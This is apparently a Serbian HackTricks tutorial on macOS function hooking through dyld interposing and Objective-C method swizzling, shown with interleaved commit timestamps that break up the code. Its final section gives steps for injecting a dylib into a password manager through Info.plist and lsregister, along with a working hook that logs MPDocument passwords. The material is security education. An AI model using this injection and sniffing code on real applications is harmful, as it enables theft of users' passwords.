2024-02-10 13:11:20 +00:00
# macOS Funkcijsko kvačenje
2023-05-18 13:13:47 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-05-18 13:13:47 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-04 09:09:21 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2023-05-18 13:13:47 +00:00
< / details >
2024-02-10 13:11:20 +00:00
## Interponiranje funkcija
2023-05-18 13:13:47 +00:00
2024-02-10 13:11:20 +00:00
Kreirajte **dylib** sa ** `__interpose` ** sekcijom (ili sekcijom označenom sa ** `S_INTERPOSING` **) koja sadrži tuple **pokazivača na funkcije** koji se odnose na **originalne** i **zamenske** funkcije.
2023-05-18 13:13:47 +00:00
2024-02-10 13:11:20 +00:00
Zatim, **ubacite** dylib sa ** `DYLD_INSERT_LIBRARIES` ** (interponiranje treba da se desi pre nego što se glavna aplikacija učita). Očigledno, [**ograničenja** koja se primenjuju na korišćenje **`DYLD_INSERT_LIBRARIES`** se takođe primenjuju ovde ](../macos-proces-abuse/macos-library-injection/#check-restrictions ). 
2023-05-18 13:13:47 +00:00
2024-02-10 13:11:20 +00:00
### Interponiranje printf
2023-05-18 13:13:47 +00:00
{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
2024-02-10 13:11:20 +00:00
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
2023-05-18 13:13:47 +00:00
2024-02-10 13:11:20 +00:00
int ret = printf("Hello from interpose\n");
return ret;
2023-05-18 13:13:47 +00:00
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void * )(unsigned long)& printf };
```
{% endcode %}
{% endtab %}
{% tab title="hello.c" %}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
2024-02-10 13:11:20 +00:00
printf("Hello World!\n");
return 0;
2023-05-18 13:13:47 +00:00
}
```
2023-09-25 17:41:06 +00:00
{% tab title="interpose2.c" %}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
2024-02-10 13:11:20 +00:00
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_ ##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) & _replacement, \
(const void*) (unsigned long) & _replacee \
};
2023-09-25 17:41:06 +00:00
int my_printf(const char *format, ...)
{
2024-02-10 13:11:20 +00:00
int ret = printf("Hello from interpose\n");
return ret;
2023-09-25 17:41:06 +00:00
}
DYLD_INTERPOSE(my_printf,printf);
```
{% endtab %}
2023-05-18 13:13:47 +00:00
{% endtabs %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
2023-09-25 17:41:06 +00:00
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
2023-05-18 13:13:47 +00:00
```
2024-02-10 13:11:20 +00:00
## Metoda Swizzling
2023-05-18 13:13:47 +00:00
2024-02-10 13:11:20 +00:00
U ObjectiveC-u se metoda poziva na sledeći način: ** `[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]` **
2023-05-18 23:23:01 +00:00
2024-02-10 13:11:20 +00:00
Potrebni su **objekat** , **metoda** i **parametri** . Kada se metoda pozove, **poruka se šalje** koristeći funkciju ** `objc_msgSend` **: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
2023-05-18 23:23:01 +00:00
2024-02-10 13:11:20 +00:00
Objekat je ** `someObject` **, metoda je ** `@selector(method1p1:p2:)` ** i argumenti su **value1** , **value2** .
2023-05-18 23:23:01 +00:00
2024-02-10 13:11:20 +00:00
Prateći strukture objekata, moguće je doći do **niza metoda** gde se **nalaze nazivi** i **pokazivači** na kod metode.
2023-05-18 23:23:01 +00:00
2023-05-19 13:45:28 +00:00
{% hint style="danger" %}
2024-02-10 13:11:20 +00:00
Imajte na umu da se zbog pristupa metodama i klasama na osnovu njihovih naziva, ove informacije čuvaju u binarnom formatu, pa je moguće dobiti pristup njima pomoću `otool -ov </path/bin>` ili [`class-dump </path/bin>` ](https://github.com/nygard/class-dump )
2023-05-19 13:45:28 +00:00
{% endhint %}
2024-02-10 13:11:20 +00:00
### Pristupanje sirovim metodama
2023-05-18 23:23:01 +00:00
2024-02-10 13:11:20 +00:00
Moguće je pristupiti informacijama o metodama kao što su naziv, broj parametara ili adresa, kao u sledećem primeru:
2023-05-18 23:23:01 +00:00
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
2024-02-10 13:11:20 +00:00
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector (length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount ; i + + ) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
2023-05-18 23:23:01 +00:00
}
2024-02-10 13:11:20 +00:00
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString * (*)(id, SEL))objc_msgSend)(str, @selector (uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector (uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### Zamena metoda pomoću method\_exchangeImplementations
2023-05-18 23:23:01 +00:00
2024-02-10 13:11:20 +00:00
Funkcija ** `method_exchangeImplementations` ** omogućava **promenu** **adrese** **implementacije** jedne funkcije za drugu.
2023-09-25 17:41:06 +00:00
{% hint style="danger" %}
2024-02-10 13:11:20 +00:00
Dakle, kada se pozove funkcija, izvršava se druga funkcija.
2023-09-25 17:41:06 +00:00
{% endhint %}
2023-05-18 23:23:01 +00:00
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
2024-02-10 13:11:20 +00:00
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
2023-05-18 23:23:01 +00:00
}
@end
int main(int argc, const char * argv[]) {
2024-02-10 13:11:20 +00:00
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector (substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector (swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
2023-05-18 23:23:01 +00:00
}
```
2023-09-25 17:41:06 +00:00
{% hint style="warning" %}
2024-02-10 13:11:20 +00:00
U ovom slučaju, ako **implementacioni kod legitimne** metode **proverava** ime metode, mogao bi **detektovati** ovu zamenu i sprečiti je da se izvrši.
2023-09-25 17:41:06 +00:00
2024-02-10 13:11:20 +00:00
Sledeća tehnika nema ovu restrikciju.
2023-09-25 17:41:06 +00:00
{% endhint %}
2024-02-10 13:11:20 +00:00
### Zamena metoda pomoću method\_setImplementation
2023-05-18 23:23:01 +00:00
2024-02-10 13:11:20 +00:00
Prethodni format je čudan jer menjate implementaciju 2 metode jednu drugom. Korišćenjem funkcije ** `method_setImplementation` ** možete **promeniti implementaciju** jedne **metode za drugu** .
2023-05-18 23:23:01 +00:00
2024-02-10 13:11:20 +00:00
Samo se setite da **sačuvate adresu implementacije originalne metode** ako ćete je pozivati iz nove implementacije pre nego što je prepišete, jer će kasnije biti mnogo komplikovano locirati tu adresu.
2023-05-18 23:23:01 +00:00
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
2024-02-10 13:11:20 +00:00
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(* )(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
2023-05-18 23:23:01 +00:00
}
@end
int main(int argc, const char * argv[]) {
2024-02-10 13:11:20 +00:00
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector (substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector (swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
2023-05-18 23:23:01 +00:00
2024-02-10 13:11:20 +00:00
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
2023-05-19 13:45:28 +00:00
2024-02-10 13:11:20 +00:00
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
2023-05-19 13:45:28 +00:00
2024-02-10 13:11:20 +00:00
return 0;
}
}
```
## Metodologija napada korišćenjem hookinga
2023-05-19 13:45:28 +00:00
2024-02-10 13:11:20 +00:00
Na ovoj stranici su razmatrani različiti načini za hookovanje funkcija. Međutim, oni uključuju **izvršavanje koda unutar procesa kako bi se izvršio napad** .
2023-05-19 13:45:28 +00:00
2024-02-10 13:11:20 +00:00
Da bi se to postiglo, najlakša tehnika koju možete koristiti je ubrizgavanje [Dyld-a putem promenljivih okruženja ili preuzimanje kontrole ](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md ). Međutim, pretpostavljam da se to takođe može uraditi putem [Dylib procesnog ubrizgavanja ](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port ).
2023-05-19 13:45:28 +00:00
2024-02-10 13:11:20 +00:00
Međutim, obe opcije su **ograničene** na **nezaštićene** binarne fajlove/procese. Proverite svaku tehniku da biste saznali više o ograničenjima.
2023-05-19 13:45:28 +00:00
2024-02-10 13:11:20 +00:00
Međutim, napad korišćenjem hookinga je veoma specifičan, napadač će to uraditi kako bi **ukrao osetljive informacije iznutra procesa** (ako to nije slučaj, onda bi se koristio napad ubrizgavanjem procesa). A ove osetljive informacije mogu se nalaziti u aplikacijama koje su preuzete od strane korisnika, kao što je MacPass.
Dakle, vektor napadača bi bio da pronađe ranjivost ili ukloni potpis aplikacije, ubrizga ** `DYLD_INSERT_LIBRARIES` ** promenljivu okruženja putem Info.plist fajla aplikacije dodajući nešto poput:
2023-05-19 13:45:28 +00:00
```xml
< key > LSEnvironment< / key >
< dict >
2024-02-10 13:11:20 +00:00
< key > DYLD_INSERT_LIBRARIES< / key >
< string > /Applications/Application.app/Contents/malicious.dylib< / string >
2023-05-19 13:45:28 +00:00
< / dict >
```
2024-02-10 13:11:20 +00:00
a zatim **ponovo registrujte** aplikaciju:
2023-09-25 17:41:06 +00:00
{% code overflow="wrap" %}
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
{% endcode %}
2024-02-10 13:11:20 +00:00
Dodajte u tu biblioteku kod za hakovanje kako biste izvukli informacije: Lozinke, poruke...
2023-05-19 13:45:28 +00:00
2023-09-25 17:41:06 +00:00
{% hint style="danger" %}
2024-02-10 13:11:20 +00:00
Imajte na umu da u novijim verzijama macOS-a, ako **uklonite potpis** aplikacijskog binarnog koda i ako je prethodno izvršen, macOS više **neće izvršavati aplikaciju** .
2023-09-25 17:41:06 +00:00
{% endhint %}
2024-02-10 13:11:20 +00:00
#### Primer biblioteke
2023-09-25 17:41:06 +00:00
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
2024-02-10 13:11:20 +00:00
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
2023-09-25 17:41:06 +00:00
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
2024-02-10 13:11:20 +00:00
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector (setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
2023-09-25 17:41:06 +00:00
}
```
2024-02-10 13:11:20 +00:00
## Reference
2023-05-18 23:23:01 +00:00
* [https://nshipster.com/method-swizzling/ ](https://nshipster.com/method-swizzling/ )
2023-05-18 13:13:47 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-05-18 13:13:47 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-04 09:09:21 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** , proverite [**PLANOVE ZA PRETPLATU** ](https://github.com/sponsors/carlospolop )!
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2023-05-18 13:13:47 +00:00
< / details >